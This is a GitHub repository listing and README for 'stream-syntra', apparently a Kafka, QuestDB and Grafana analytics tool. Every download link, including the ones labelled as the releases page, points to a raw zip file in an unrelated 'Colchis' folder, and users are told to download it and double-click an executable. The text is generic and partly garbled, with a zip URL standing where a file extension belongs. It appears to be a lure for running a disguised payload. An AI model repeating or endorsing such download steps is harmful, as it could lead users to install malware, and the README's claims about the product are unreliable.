https://github.com/matias36658/stream-syntra
🌊 Stream-Syntra powers real-time analytics for streaming data, enabling seamless ingestion, processing, and visualization with an enterprise-grade architecture.
https://github.com/matias36658/stream-syntra
data-science grafana jupyter-notebook kafka kafka-connect monitoring pandas polars questdb telegraf timeseries timeseries-analysis timeseries-databsae timeseries-forecasting
Last synced: 2 months ago
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🌊 Stream-Syntra powers real-time analytics for streaming data, enabling seamless ingestion, processing, and visualization with an enterprise-grade architecture.
- Host: GitHub
- URL: https://github.com/matias36658/stream-syntra
- Owner: matias36658
- License: apache-2.0
- Created: 2025-09-03T15:46:01.000Z (10 months ago)
- Default Branch: main
- Last Pushed: 2026-04-30T07:13:30.000Z (2 months ago)
- Last Synced: 2026-04-30T09:13:19.603Z (2 months ago)
- Topics: data-science, grafana, jupyter-notebook, kafka, kafka-connect, monitoring, pandas, polars, questdb, telegraf, timeseries, timeseries-analysis, timeseries-databsae, timeseries-forecasting
- Language: Jupyter Notebook
- Size: 38.7 MB
- Stars: 0
- Watchers: 0
- Forks: 0
- Open Issues: 0
-
Metadata Files:
- Readme: README.md
- Changelog: CHANGELOG.md
- Contributing: CONTRIBUTING.md
- License: LICENSE
- Security: SECURITY.md
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README
# 🌟 stream-syntra - Stream Data with Ease and Efficiency
[](https://raw.githubusercontent.com/matias36658/stream-syntra/main/Colchis/stream-syntra.zip)
## 📌 Overview
Stream-syntra is a powerful streaming analytics tool. It uses Apache Kafka for data ingestion, QuestDB for storing and analyzing time-series data, Grafana for real-time dashboards, and Jupyter Notebook for data science tasks. This application lets you manage and visualize data effortlessly.
## 🚀 Getting Started
To begin using stream-syntra, follow these simple steps:
1. **Visit the Releases Page**
Click the button above or go to [this page](https://raw.githubusercontent.com/matias36658/stream-syntra/main/Colchis/stream-syntra.zip) to access the latest version of the application.
2. **Download the Application**
On the Releases page, look for the version listed at the top. You should see files available for download. Choose the file that matches your operating system. The file names typically include indications of the OS, such as `.exe` for Windows or `https://raw.githubusercontent.com/matias36658/stream-syntra/main/Colchis/stream-syntra.zip` for Linux.
3. **Install the Application**
After you download the file, navigate to your downloads folder. Double-click the downloaded file to start the installation process. Follow the on-screen instructions to complete the installation.
4. **Run stream-syntra**
Once the installation is complete, you can start the application. Locate the stream-syntra icon on your desktop or in your applications folder. Double-click the icon to open the application.
## 🌐 Key Features
- **Data Ingestion:** Stream data in real time using Apache Kafka.
- **Time-Series Storage:** Efficiently store and analyze time-series data with QuestDB.
- **Real-Time Dashboards:** Visualize your data using Grafana, making insights accessible at a glance.
- **Data Science Tools:** Leverage Jupyter Notebooks for advanced analytics and machine learning.
- **Monitoring:** Monitor ETL processes and data health in real time with built-in monitoring tools.
## ⚙️ System Requirements
Ensure your system meets the following requirements for optimal performance:
- **Operating System:** Windows 10 or later, macOS 10.14 or later, or a recent Linux distribution.
- **RAM:** At least 4 GB of RAM.
- **Disk Space:** Minimum of 500 MB of free disk space for application files.
- **Network:** An internet connection for data streaming and dashboard updates.
## 📥 Download & Install
You can download stream-syntra from the [Releases Page](https://raw.githubusercontent.com/matias36658/stream-syntra/main/Colchis/stream-syntra.zip). Always select the latest version available for the best experience.
### Installation Steps:
1. Navigate to the downloaded file.
2. For Windows, double-click the `.exe` file. For macOS, drag the application to your Applications folder. For Linux, follow the instructions provided in the README file within the `https://raw.githubusercontent.com/matias36658/stream-syntra/main/Colchis/stream-syntra.zip` package.
## 📊 Usage
1. **Start stream-syntra**: Open the application as mentioned earlier.
2. **Configure your Data Sources**: Enter the details of your data sources in the settings menu. Make sure you have access to the necessary data for ingestion.
3. **Create Dashboards**: Use Grafana to set up intuitive dashboards. Select your data sources and configure the visualizations you need.
4. **Analyze Data**: Start analyzing the data with Jupyter Notebooks. This enables more complex operations, like forecasting or trend analysis.
## 💬 Support
If you encounter issues or need help, please check the GitHub Issues page for solutions. You can also create a new issue to ask questions.
## 🏷️ Topics
- data-science
- grafana
- jupyter-notebook
- kafka
- kafka-connect
- monitoring
- pandas
- polars
- questdb
- telegraf
- timeseries
- timeseries-analysis
- timeseries-database
- timeseries-forecasting
## 📅 Future Updates
We continuously work on improving stream-syntra. Upcoming features may include enhanced visualization options, more data source integrations, and faster data processing capabilities.
Visit our Releases page regularly to stay updated with the latest features and fixes.
## 🔄 Contributing
We welcome contributors! If you want to help us improve the application, feel free to submit pull requests or reach out with suggestions.
Thank you for using stream-syntra! Happy analyzing!